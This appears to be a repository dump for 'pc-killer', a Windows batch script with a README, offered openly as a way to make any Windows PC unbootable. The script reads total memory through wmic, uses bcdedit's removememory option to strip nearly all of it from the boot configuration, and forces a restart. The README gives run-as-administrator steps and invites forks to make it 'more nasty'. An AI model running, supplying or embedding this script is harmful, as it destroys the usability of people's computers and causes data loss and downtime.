├── pcKill.bat └── README.md /pcKill.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | echo Calculating total system memory 4 | for /f "skip=1" %%p in ('wmic os get TotalVisibleMemorySize') do ( 5 | set system_ram=%%p 6 | goto :end 7 | ) 8 | :end 9 | 10 | 11 | echo Total system ram is %system_ram% 12 | 13 | 14 | set /a "c=%system_ram% - 28" 15 | 16 | echo Will be getting rid of %c% bytes of memory 17 | 18 | bcdedit.exe /set removememory %c% 19 | 20 | shutdown /r 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pc-killer 2 | Kill any windows pc within seconds. Warning- Use it at your own risk, The writer of this script will not be responsible to any damage done to the computer. 3 | 4 | ## Steps 5 | 1) Run the pcKill.bat as administrator 6 | 2) Thats it. The PC will restart and windows will be crashed on the start 7 | 8 | ## Working 9 | The script works by limiting memory to very low so that on the restart windows is unable to boot. 10 | 11 | ## Contribution 12 | This repo is open to any contribution. You are free to fork and make it even more nasty. 13 | --------------------------------------------------------------------------------